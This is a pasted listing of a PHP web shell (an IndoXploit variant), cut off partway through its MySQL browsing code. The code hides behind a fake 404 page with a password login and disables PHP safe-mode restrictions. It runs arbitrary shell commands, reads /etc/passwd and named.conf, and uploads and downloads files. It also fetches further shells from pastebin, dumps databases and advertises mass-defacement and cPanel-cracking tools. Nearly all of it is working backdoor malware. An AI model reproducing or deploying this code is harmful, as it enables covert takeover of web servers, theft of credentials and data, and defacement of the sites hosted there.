· 9 years ago · Jan 08, 2017, 05:08 PM
1<?php
2###############################################################################
3// Mengganti copyright tidak menjadikan anda sebagai coders ^_^
4// Thanks buat Orang-orang yg membantu dalam proses pembuatan shell ini.
5// Shell ini tidak sepenuhnya 100% Coding manual, ada beberapa function dan tools kita ambil dari shell yang sudah ada.
6// Tapi Selebihnya, itu hasil kreasi IndoXploit sendiri.
7// Tanpa kalian kita tidak akan BESAR seperti sekarang.
8// Greetz: All Member IndoXploit. & all my friends.
9// Last Recoded by m1x
10###############################################################################
11$paswot="fde617d55b319bbea2d839b46a5876ae"; //default pass: yuza
12@session_start();
13@error_reporting(0);
14@error_log(0);
15@ini_set('error_log',NULL);
16@ini_set('log_errors',0);
17@ini_set('max_execution_time',0);
18@ini_set('output_buffering',0);
19@ini_set('display_errors', 0);
20@set_time_limit(0);
21@set_magic_quotes_runtime(0);
22if( @preg_match("/(Google|robot|bot|bing|yahoo|facebook|visionutils)/Ui",$_SERVER['HTTP_USER_AGENT'])) {
23 die('HTTP/1.1 404 Not Found');
24 exit;
25}
26function printLogin() {
27?>
28<!DOCTYPE html>
29<html>
30<head>
31<meta name='ROBOTS' content='NOINDEX, NOFOLLOW, NOARCHIVE' />
32<meta name='GOOGLEBOT' content='NOINDEX, NOFOLLOW, NOARCHIVE' />
33<meta charset="UTF-8">
34<title>Not Found</title>
35</head>
36<script type='text/javascript'> //<![CDATA[
37shortcut={all_shortcuts:{},add:function(a,b,c){var d={type:"keydown",propagate:!1,disable_in_input:!1,target:document,keycode:!1};if(c)for(var e in d)"undefined"==typeof c[e]&&(c[e]=d[e]);else c=d;d=c.target,"string"==typeof c.target&&(d=document.getElementById(c.target)),a=a.toLowerCase(),e=function(d){d=d||window.event;if(c.disable_in_input){var e;d.target?e=d.target:d.srcElement&&(e=d.srcElement),3==e.nodeType&&(e=e.parentNode);if("INPUT"==e.tagName||"TEXTAREA"==e.tagName)return}d.keyCode?code=d.keyCode:d.which&&(code=d.which),e=String.fromCharCode(code).toLowerCase(),188==code&&(e=","),190==code&&(e=".");var f=a.split("+"),g=0,h={"`":"~",1:"!",2:"@",3:"#",4:"$",5:"%",6:"^",7:"&",8:"*",9:"(",0:")","-":"_","=":"+",";":":","'":'"',",":"<",".":">","/":"?","":"|"},i={esc:27,escape:27,tab:9,space:32,"return":13,enter:13,backspace:8,scrolllock:145,scroll_lock:145,scroll:145,capslock:20,caps_lock:20,caps:20,numlock:144,num_lock:144,num:144,pause:19,"break":19,insert:45,home:36,"delete":46,end:35,pageup:33,page_up:33,pu:33,pagedown:34,page_down:34,pd:34,left:37,up:38,right:39,down:40,f1:112,f2:113,f3:114,f4:115,f5:116,f6:117,f7:118,f8:119,f9:120,f10:121,f11:122,f12:123},j=!1,l=!1,m=!1,n=!1,o=!1,p=!1,q=!1,r=!1;d.ctrlKey&&(n=!0),d.shiftKey&&(l=!0),d.altKey&&(p=!0),d.metaKey&&(r=!0);for(var s=0;k=f[s],s<f.length;s++)"ctrl"==k||"control"==k?(g++,m=!0):"shift"==k?(g++,j=!0):"alt"==k?(g++,o=!0):"meta"==k?(g++,q=!0):1<k.length?i[k]==code&&g++:c.keycode?c.keycode==code&&g++:e==k?g++:h[e]&&d.shiftKey&&(e=h[e],e==k&&g++);if(g==f.length&&n==m&&l==j&&p==o&&r==q&&(b(d),!c.propagate))return d.cancelBubble=!0,d.returnValue=!1,d.stopPropagation&&(d.stopPropagation(),d.preventDefault()),!1},this.all_shortcuts[a]={callback:e,target:d,event:c.type},d.addEventListener?d.addEventListener(c.type,e,!1):d.attachEvent?d.attachEvent("on"+c.type,e):d["on"+c.type]=e},remove:function(a){var a=a.toLowerCase(),b=this.all_shortcuts[a];delete this.all_shortcuts[a];if(b){var a=b.event,c=b.target,b=b.callback;c.detachEvent?c.detachEvent("on"+a,b):c.removeEventListener?c.removeEventListener(a,b,!1):c["on"+a]=!1}}},
38shortcut.add("esc",function(){top.location.href="https://www.google.com/#q=hacked+by+4NG3L+0F+SH4D0W"});
39shortcut.add("Ctrl+Shift+Del",function(){top.location.href="https://www.google.com/#q=hacked+by+4NG3L+0F+SH4D0W"});
40shortcut.add("Ctrl+F",function(){top.location.href="https://www.google.com/#q=hacked+by+4NG3L+0F+SH4D0W"});
41shortcut.add("Ctrl+W",function(){top.location.href="https://www.google.com/#q=hacked+by+4NG3L+0F+SH4D0W"});
42shortcut.add("Ctrl+U",function(){top.location.href="https://www.google.com/#q=hacked+by+4NG3L+0F+SH4D0W"});
43shortcut.add("Ctrl+A",function(){top.location.href="https://www.google.com/#q=hacked+by+4NG3L+0F+SH4D0W"});
44shortcut.add("Ctrl+S",function(){top.location.href="https://www.google.com/#q=hacked+by+4NG3L+0F+SH4D0W"});
45shortcut.add("Ctrl+X",function(){top.location.href="https://www.google.com/#q=hacked+by+4NG3L+0F+SH4D0W"});
46shortcut.add("Ctrl+C",function(){top.location.href="https://www.google.com/#q=hacked+by+4NG3L+0F+SH4D0W"});
47shortcut.add("Ctrl+V",function(){top.location.href="https://www.google.com/#q=hacked+by+4NG3L+0F+SH4D0W"});
48shortcut.add("Ctrl+Y",function(){top.location.href="https://www.google.com/#q=hacked+by+4NG3L+0F+SH4D0W"});
49shortcut.add("Ctrl+Z",function(){top.location.href="https://www.google.com/#q=hacked+by+4NG3L+0F+SH4D0W"});
50//]]></script>
51<SCRIPT TYPE="text/javascript">
52var message="hallo, how re u?";
53function clickIE() {if (document.all) {(message);return false;}}
54function clickNS(e) {if
55(document.layers||(document.getElementById&&!document.all)) {
56if (e.which==2||e.which==3) {(message);return false;}}}
57if (document.layers)
58{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
59else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}
60document.oncontextmenu=new Function("return false")
61function disableselect(e){
62return false
63}
64function reEnable(){
65return true
66}
67document.onselectstart=new Function ("return false")
68if (window.sidebar){
69document.onmousedown=disableselect
70document.onclick=reEnable
71}
72</SCRIPT>
73<body>
74<h1>Not Found</h1>
75<p>The requested URL <?=$_SERVER['SCRIPT_FILENAME']?> was not found on this server.</p>
76<p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
77<hr>
78<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
79 <style>
80 @import url(https://fonts.googleapis.com/css?family=Abel);
81 input { margin:0;background-color:#fff;border:1px solid #fff; }
82 </style>
83</body>
84</html>
85<br><br><br>
86 <form method=post><p align="right">
87 <input type=password name=masuk></p>
88 </form></center>
89 <?php
90 exit;
91}
92if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
93 if( empty( $paswot ) ||
94 ( isset( $_POST['masuk'] ) && ( md5($_POST['masuk']) == $paswot ) ) )
95 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
96 else
97 printLogin();
98if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
99 @ob_clean();
100 $file = $_GET['file'];
101 header('Content-Description: File Transfer');
102 header('Content-Type: application/octet-stream');
103 header('Content-Disposition: attachment; filename="'.basename($file).'"');
104 header('Expires: 0');
105 header('Cache-Control: must-revalidate');
106 header('Pragma: public');
107 header('Content-Length: ' . filesize($file));
108 readfile($file);
109 exit;
110}
111?>
112<html>
113<head>
114<title>Cyber J0K3R Indonesian</title>
115<link href='http://findicons.com/files/icons/2561/1st_mx_is_4c/256/anonymous.png' rel='icon' type='image/x-icon'/>
116<meta name='author' content='IndoXploit'>
117<meta name='ROBOTS' content='NOINDEX, NOFOLLOW, NOARCHIVE' />
118<meta name='GOOGLEBOT' content='NOINDEX, NOFOLLOW, NOARCHIVE' />
119<meta charset="UTF-8">
120<style type='text/css'>
121@import url(https://fonts.googleapis.com/css?family=Abel);
122html {background: #000000;color: #ffffff;font-family: 'Abel';font-size: 13px;width: 100%;}
123table, th, td {border-collapse:collapse;font-family: Tahoma, Geneva, sans-serif;background: transparent;font-family: 'Abel';font-size: 13px;}
124.table_home, .th_home, .td_home {border: 0px solid #ffffff;}
125.table_home a {text-decoration:none;}
126.table_home tr:hover {background-color: green;}
127th {padding: 10px;text-shadow: 0pt 0pt 0.9em lime, 0pt 0pt 0.9em lime; color: #00ff00;text-decoration: none;}
128a {color: #ffffff;text-decoration: none;}
129a:hover {color: gold;text-decoration: underline; text-shadow: 0pt 0pt 0.9em lime, 0pt 0pt 0.9em lime; color: #00ff00;text-decoration: none;}
130b {color: gold;}
131input[type=text], input[type=password],input[type=submit] {background: transparent; color: #ffffff; border: 1px solid #ffffff; margin: 5px auto;padding-left: 5px;font-family: 'Abel';font-size: 13px;}
132textarea {border: 1px solid #ffffff;width: 100%;height: 400px; padding-left: 5px;margin: 10px auto;resize: none;background: transparent;color: #ffffff;font-family: 'Abel';font-size: 13px;}
133select {background: transparent; color: #ffffff; border: 1px solid #ffffff; margin: 5px auto;padding-left: 5px;font-family: 'Abel';font-size: 13px;}
134.but {background: transparent; color: #ffffff; border: 1px solid #ffffff; margin: 5px auto;padding-left: 5px;font-family: 'Abel';font-size: 13px;}
135li a:hover{text-shadow: 0pt 0pt 0.99em lime, 0pt 0pt 0.99em lime; color: #00ff00;text-decoration: none;}
136li {display: inline;margin: 5px;padding: 5px;}
137hr.gayane {height: 6px;background: url(http://c0de.esy.es/hrstyle.png) repeat-x 0 0;border: 0;}
138hr.style-two { border: 0;height: 1px;background: #333;background-image: -webkit-linear-gradient(left, #ccc, #333, #ccc);background-image: -moz-linear-gradient(left, #ccc, #333, #ccc);background-image: -ms-linear-gradient(left, #ccc, #333, #ccc);background-image: -o-linear-gradient(left, #ccc, #333, #ccc);}
139#kotakan{margin:8px 2px 4px 2px;}
140#kotakan a{padding:4px 18px;margin:0;background:#001a00;text-decoration:none;letter-spacing:1px;}
141#kotakan a:hover{text-shadow: 0pt 0pt 0.99em lime, 0pt 0pt 0.99em lime; color: #00e600; text-decoration: none;}
142</style>
143</head>
144<?php
145if (file_exists("php.ini")){
146}else{
147$img = fopen('php.ini', 'w');
148$sec = "safe_mode = OFF
149disable_funtions = NONE";
150fwrite($img ,$sec);
151fclose($img);}
152function w($dir,$perm) {
153 if(!is_writable($dir)) {
154 return "<font color=red>".$perm."</font>";
155 } else {
156 return "<font color=lime>".$perm."</font>";
157 }
158}
159 function UrlLoop($url,$type){
160
161 $urlArray = array();
162
163 $ch = curl_init();
164 curl_setopt($ch, CURLOPT_URL, $url);
165 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
166 $result = curl_exec($ch);
167
168 $regex='|<a.*?href="(.*?)"|';
169 preg_match_all($regex,$result,$parts);
170 $links=$parts[1];
171 foreach($links as $link){
172 array_push($urlArray, $link);
173 }
174 curl_close($ch);
175
176 foreach($urlArray as $value){
177 $paswot="$url$value";
178 if(preg_match("#$type#is", $paswot)) {
179 echo "$paswot\r\n";
180 }
181 }
182 }
183function exe($cmd) {
184if(function_exists('system')) {
185 @ob_start();
186 @system($cmd);
187 $buff = @ob_get_contents();
188 @ob_end_clean();
189 return $buff;
190 } elseif(function_exists('exec')) {
191 @exec($cmd,$results);
192 $buff = "";
193 foreach($results as $result) {
194 $buff .= $result;
195 } return $buff;
196 } elseif(function_exists('passthru')) {
197 @ob_start();
198 @passthru($cmd);
199 $buff = @ob_get_contents();
200 @ob_end_clean();
201 return $buff;
202 } elseif(function_exists('shell_exec')) {
203 $buff = @shell_exec($cmd);
204 return $buff;
205 }
206}
207function perms($file){
208$perms = fileperms($file);
209if (($perms & 0xC000) == 0xC000) {
210$info = 's';
211} elseif (($perms & 0xA000) == 0xA000) {
212$info = 'l';
213} elseif (($perms & 0x8000) == 0x8000) {
214$info = '-';
215} elseif (($perms & 0x6000) == 0x6000) {
216$info = 'b';
217} elseif (($perms & 0x4000) == 0x4000) {
218$info = 'd';
219} elseif (($perms & 0x2000) == 0x2000) {
220$info = 'c';
221} elseif (($perms & 0x1000) == 0x1000) {
222$info = 'p';
223} else {
224$info = 'u';
225}
226$info .= (($perms & 0x0100) ? 'r' : '-');
227$info .= (($perms & 0x0080) ? 'w' : '-');
228$info .= (($perms & 0x0040) ?
229(($perms & 0x0800) ? 's' : 'x' ) :
230(($perms & 0x0800) ? 'S' : '-'));
231$info .= (($perms & 0x0020) ? 'r' : '-');
232$info .= (($perms & 0x0010) ? 'w' : '-');
233$info .= (($perms & 0x0008) ?
234(($perms & 0x0400) ? 's' : 'x' ) :
235(($perms & 0x0400) ? 'S' : '-'));
236$info .= (($perms & 0x0004) ? 'r' : '-');
237$info .= (($perms & 0x0002) ? 'w' : '-');
238$info .= (($perms & 0x0001) ?
239(($perms & 0x0200) ? 't' : 'x' ) :
240(($perms & 0x0200) ? 'T' : '-'));
241return $info;
242}
243function hdd($s) {
244if($s >= 1073741824)
245return sprintf('%1.2f',$s / 1073741824 ).' GB';
246elseif($s >= 1048576)
247return sprintf('%1.2f',$s / 1048576 ) .' MB';
248elseif($s >= 1024)
249return sprintf('%1.2f',$s / 1024 ) .' KB';
250else
251return $s .' B';
252}
253function ambilKata($param, $kata1, $kata2){
254 if(strpos($param, $kata1) === FALSE) return FALSE;
255 if(strpos($param, $kata2) === FALSE) return FALSE;
256 $start = strpos($param, $kata1) + strlen($kata1);
257 $end = strpos($param, $kata2, $start);
258 $return = substr($param, $start, $end - $start);
259 return $return;
260}
261if(get_magic_quotes_gpc()) {
262 function idx_ss($array) {
263 return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
264 }
265 $_POST = idx_ss($_POST);
266}
267function CreateTools($names,$lokasi){
268 if ( $_GET['create'] == $names ){
269 $a= "".$_SERVER['SERVER_NAME']."";
270 $b= dirname($_SERVER['PHP_SELF']);
271 $c= "/m1x_tools/".$names.".php";
272if (file_exists('m1x_tools/'.$names.'.php')){
273 echo '<script type="text/javascript">alert("Done");window.location.href = "m1x_tools/'.$names.'.php";</script> ';
274 }
275 else {mkdir("m1x_tools", 0777);
276file_put_contents('m1x_tools/'.$names.'.php', file_get_contents($lokasi));
277echo ' <script type="text/javascript">alert("Done");window.location.href = "m1x_tools/'.$names.'.php";</script> ';}}}
278CreateTools("wso","http://pastebin.com/raw/baYwXD6d");
279CreateTools("extractor","http://pastebin.com/raw/EeYFqka3");
280if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
281 $status_work = '<font color="lime">Yey, Tool ini Dapat Digunakan Bro :)</font><br>';
282} else {
283 $status_work = '<font color="red">Tidak Dapat Digunakan Bro :(</font><br>';
284}
285if(isset($_GET['dir'])) {
286 $dir = $_GET['dir'];
287 chdir($_GET['dir']);
288} else {
289 $dir = getcwd();
290}
291function excute($cfe) {
292 $res = '';
293 if (!empty($cfe)) {
294 if(@function_exists('exec')) {
295 @exec($cfe,$res);
296 $res = join("\n",$res);
297 } elseif(@function_exists('shell_exec')) {
298 $res = @shell_exec($cfe);
299 } elseif(@function_exists('system')) {
300 @ob_start();
301 @system($cfe);
302 $res = @ob_get_contents();
303 @ob_end_clean();
304 } elseif(@function_exists('passthru')) {
305 @ob_start();
306 @passthru($cfe);
307 $res = @ob_get_contents();
308 @ob_end_clean();
309 } elseif(@is_resource($f = @popen($cfe,"r"))) {
310 $res = "";
311 while(!@feof($f)) { $res .= @fread($f,1024); }
312 @pclose($f);
313 } else { $res = "Ex() Disabled!"; }
314 }
315 return $res;
316}
317 function showstat($stat) {
318 if ($stat=="on") { return "<font color=lime>ON</font>"; }
319 else { return "<font color=red>OFF</font>"; }
320 }
321 function named_conf(){
322 if(@is_readable('/etc/named.conf')){ return "<font color=lime>READABLE</font>";
323 }else { return "<font color=red>NOT READABLE</font>"; }
324 }
325 function passwd(){
326 if(@is_readable('/etc/passwd')){ return "<font color=lime>READABLE</font>";
327 }else { return "<font color=red>NOT READABLE</font>"; }
328 }
329 function testoracle() {
330 if (@function_exists('ocilogon')) { return showstat("on"); }
331 else { return showstat("off"); }
332 }
333 function testpostgresql() {
334 if (@function_exists('pg_connect')) { return showstat("on"); }
335 else { return showstat("off"); }
336 }
337 function testmssql() {
338 if (@function_exists('mssql_connect')) { return showstat("on"); }
339 else { return showstat("off"); }
340 }
341 function openbase_dir() {
342 if ($openbase_dir=@ini_get('open_basedir')){ return "<font color=red>".$openbase_dir."</font>"; }
343 else { return "<font color=lime>NONE</font>"; }
344 }
345 function testfetch() {
346 if(excute('fetch --help')) { return showstat("on"); }
347 else { return showstat("off"); }
348 }
349 function testsh() {
350 if (excute('bash --help')) { return showstat("on"); }
351 else { return showstat("off"); }
352 }
353$pwd = str_replace('\\', '/', dirname(__FILE__)).'/';
354$dir = str_replace("\\","/",$dir);
355$scdir = explode("/", $dir);
356$sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON (ONOK SATPAME)</font>" : "<font color=lime>OFF (GANOK SATPAME)</font>";
357$ling ="http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create";
358$ds = @ini_get("disable_functions");
359$mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
360$curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
361$wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
362$perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
363$python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
364$show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
365if(!function_exists('posix_getegid')) {
366 $user = @get_current_user();
367 $uid = @getmyuid();
368 $gid = @getmygid();
369 $group = "?";
370} else {
371 $uid = @posix_getpwuid(posix_geteuid());
372 $gid = @posix_getgrgid(posix_getegid());
373 $user = $uid['name'];
374 $uid = $uid['uid'];
375 $group = $gid['name'];
376 $gid = $gid['gid'];
377}
378$d0mains = @file("/etc/named.conf");
379 $users=@file('/etc/passwd');
380 if($d0mains)
381 {
382 $count;
383 foreach($d0mains as $d0main)
384 {
385 if(@ereg("zone",$d0main))
386 {
387 preg_match_all('#zone "(.*)"#', $d0main, $domains);
388 flush();
389 if(strlen(trim($domains[1][0])) > 2)
390 {
391 flush();
392 $count++;
393 }
394 }
395 }
396 }
397
398$sport=$_SERVER['SERVER_PORT'];
399echo "<table style='width:100%'>";
400echo "<tr><td>Uname -a : <font color=lime>".php_uname()."</font></td></tr>";
401echo "<tr><td>Software : <font color=lime>".@getenv("SERVER_SOFTWARE")."</font></td></tr>";
402echo "<tr><td>User : <font color=lime>".$user."</font> (".$uid.") Group : <font color=lime>".$group."</font> (".$gid.")</td></tr>";
403echo "<tr><td>Server IP : <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | My IP : <font color=lime>".$_SERVER['REMOTE_ADDR']."</font></td></tr>";
404echo "<tr><td>HDD : <font color=lime>".hdd(disk_free_space("/"))."</font> / <font color=lime>".hdd(disk_total_space("/"))."</font></td></tr>";
405echo "<tr><td>Websites :<font color=lime> $count</font> Domains | Port :<font color=lime> $sport</font></td></tr>";
406echo "<tr><td>Safe Mode : $sm | Open_BaseDir : ".openbase_dir()." | /etc/named.conf : ".named_conf()." | /etc/passwd : ".passwd()."</td></tr>";
407echo "<tr><td>Disable Functions : $show_ds</td></tr>";
408echo "<tr><td>MySQL : $mysql | MSSQL : ".testmssql()." | PostgreSQL : ".testpostgresql()." | ORACLE : ".testoracle()." | PERL : $perl | PYTHON : $python | FETCH : ".testfetch()." | BASH : ".testsh()." | WGET : $wget | CURL : $curl </td></tr>";
409echo "<tr><td>Posisi : ";
410foreach($scdir as $c_dir => $cdir) {
411 echo "<a href='?dir=";
412 for($i = 0; $i <= $c_dir; $i++) {
413 echo $scdir[$i];
414 if($i != $c_dir) {
415 echo "/";
416 }
417 }
418 echo "'>$cdir</a>/";
419}
420echo " [ ".w($dir, perms($dir))." ]";
421echo "</td></tr></table><hr class='gayane'>";
422echo "<center>";
423echo "<ul>";
424echo "<li>[ <a href='?'>Home</a> ]</li>";
425echo "<li>[ <a href='?dir=$dir&do=upload'>Aplot</a> ]</li>";
426echo "<li>[ <a href='?dir=$dir&do=cmd'>Ngobrol</a> ]</li>";
427echo "<li>[ <a href='?dir=$dir&do=hash'>Password Hash</a> ]</li>";
428echo "<li>[ <a href='?dir=$dir&do=hashid'>Hash Identifier</a> ]</li>";
429echo "<li>[ <a href='?dir=$dir&do=config'>Config</a> ]</li>";
430echo "<li>[ <a href='?dir=$dir&do=symconfig'>Config 2</a> ]</li>";
431echo "<li>[ <a href='?dir=$dir&do=jumping'>Loncat</a> ]</li>";
432echo "<li>[ <a href='?dir=$dir&do=mass_deface'>Mass Pepes</a> ]</li>";
433echo "<li>[ <a href='?dir=$dir&do=symlink'>Symlink</a> ]</li>";
434echo "<li>[ <a href='?dir=$dir&do=passwbypass'>Bypass /etc/passwd</a> ]</li><br>";
435echo "<li>[ <a href='?dir=$dir&do=smtp'>SMTP Hunter</a> ]</li>";
436echo "<li>[ <a href='?dir=$dir&do=cpanel'>CPanel Crack</a> ]</li>";
437echo "<li>[ <a href='?dir=$dir&do=cpftp_auto'>CPanel/FTP Auto Deface</a> ]</li>";
438echo "<li>[ <a href='?dir=$dir&do=erdipi'>RDP</a> ]</li>";
439echo "<li>[ <a href='?dir=$dir&do=erdipi2'>RDP V.2</a> ]</li>";
440echo "<li>[ <a href='?dir=$dir&do=cgi'>CGI Telnet</a> ]</li>";
441echo "<li>[ <a href='?dir=$dir&do=adminer'>Adminer</a> ]</li>";
442echo "<li>[ <a href='?dir=$dir&do=fake_root'>Fake Root</a> ]</li>";
443echo "<li>[ <a href='?dir=$dir&do=mysql'>MYSQL</a> ]</li><br>";
444echo "<li>[ <a href='?dir=$dir&do=dbdump'>Database Dump</a> ]</li><br>";
445echo "<li>[ <a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a> ]</li>";
446echo "<li>[ <a href='?dir=$dir&do=auto_wp'>Auto Edit Title WordPress</a> ]</li>";
447echo "<li>[ <a href='?dir=$dir&do=auto_dwp'>WordPress Auto Deface</a> ]</li>";
448echo "<li>[ <a href='?dir=$dir&do=auto_dwp2'>WordPress Auto Deface V.2</a> ]</li>";
449echo "<li>[ <a href='?dir=$dir&do=auto_cu_wp'>WordPress Auto Edit User V.2</a> ]</li>";
450echo "<li>[ <a href='?dir=$dir&do=auto_cu_joomla'>Joomla Auto Edit User V.2</a> ]</li><br>";
451echo "<li>[ <a href='?dir=$dir&do=magentot'>Magento Get Info</a> ]</li>";
452echo "<li>[ <a href='?dir=$dir&do=loghunter'>Log Hunter</a> ]</li>";
453echo "<li>[ <a href='?dir=$dir&do=shellchk'>Shell Checker</a> ]</li>";
454echo "<li>[ <a href='?dir=$dir&do=shelscan'>Shell Finder</a> ]</li>";
455echo "<li>[ <a href='?dir=$dir&do=zoneh'>Zone-H</a> ]</li>";
456echo "<li>[ <a href='?dir=$dir&do=defacerid'>Defacer.ID</a> ]</li>";
457echo "<li>[ <a href='?dir=$dir&do=endec'>Script Encode & Decode</a> ]</li>";
458echo "<li>[ <a href='?dir=$dir&do=zip'>Zip Menu</a> ]</li>";
459echo "<li>[ <a href='?dir=$dir&do=about'>About</a> ]</li>";
460echo "<li>[ <a href='?logout=true'>Log Out</a> ]<br></li>";
461echo "</ul>";
462echo "</center>";
463echo "<hr class='gayane'>";
464if($_GET['logout'] == true) {
465 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
466 echo "<script>window.location='?';</script>";
467}elseif($_GET['do'] == 'upload') {
468 echo "<center>";
469 if($_POST['upload']) {
470 if($_POST['tipe_upload'] == 'biasa') {
471 if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
472 $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
473 } else {
474 $act = "<font color=red>failed to upload file</font>";
475 }
476 } else {
477 $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
478 $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
479 if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
480 if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
481 $act = "<font color=lime>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
482 } else {
483 $act = "<font color=red>failed to upload file</font>";
484 }
485 } else {
486 $act = "<font color=red>failed to upload file</font>";
487 }
488 }
489 }
490 echo "Pilihen salah siji :
491 <form method='post' enctype='multipart/form-data'>
492 <input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($dir,"Writeable")." ]
493 <input type='radio' name='tipe_upload' value='home_root'>home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
494 <input type='file' name='ix_file'>
495 <input type='submit' value='upload' name='upload'>
496 </form>";
497 echo $act;
498 echo "</center>";
499} else if(isset($_GET['do']) && ($_GET['do'] == 'mysql')){
500if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])){
501 $sqlhost = $_GET['sqlhost'];
502 $sqluser = $_GET['sqluser'];
503 $sqlpass = $_GET['sqlpass'];
504 $sqlport = $_GET['sqlport'];
505 if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass)){
506 // show mysql info
507 $msg .= "<div style=\"width:99%;padding:4px 10px 0 10px;\">";
508 $msg .= "<p>Connected to ".$sqluser."<span class=\"gaya\">@</span>".$sqlhost.":".$sqlport;
509 $msg .= " <span class=\"gaya\">-></span> <a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&\">[ databases ]</a>";
510 if(isset($_GET['db'])) $msg .= " <span class=\"gaya\">-></span> <a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$_GET['db']."\">".htmlspecialchars($_GET['db'])."</a>";
511 if(isset($_GET['table'])) $msg .= " <span class=\"gaya\">-></span> <a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$_GET['db']."&table=".$_GET['table']."\">".htmlspecialchars($_GET['table'])."</a>";
512 $msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";
513 $msg .= "</div>";
514 echo $msg;
515 if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){
516 $db = $_GET['db'];
517 $query = "DROP TABLE IF EXISTS b374k_table;\nCREATE TABLE `b374k_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE \"/etc/passwd\"\nINTO TABLE b374k_table;SELECT * FROM b374k_table;\nDROP TABLE IF EXISTS b374k_table;";
518 $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
519 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
520 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
521 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
522 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
523 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
524 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
525 <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
526 <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p>
527 <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p>
528 </form></div>
529 ";
530
531
532 // show available tables
533 $tables = array();
534 $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on ".$db."</th></tr>";
535 $hasil = @mysql_list_tables($db,$con);
536 while(list($table) = @mysql_fetch_row($hasil)){
537 @array_push($tables,$table);
538 }
539 @sort($tables);
540 foreach($tables as $table){
541 $msg .= "<tr><td><a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."&table=".$table."\">$table</a></td></tr>";
542 }
543 $msg .= "</table>";
544 }
545 elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){
546 // dump tables
547 $db = $_GET['db'];
548 $table = $_GET['table'];
549 $query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";
550 $msgq = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
551 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
552 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
553 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
554 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
555 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
556 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
557 <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
558 <input type=\"hidden\" name=\"table\" value=\"".$table."\" />
559 <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
560 <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p>
561 </form></div>
562 ";
563 $columns = array();
564 $msg = "<table class=\"explore\" style=\"width:99%;\">";
565 $hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);
566 while(list($column) = @mysql_fetch_row($hasil)){
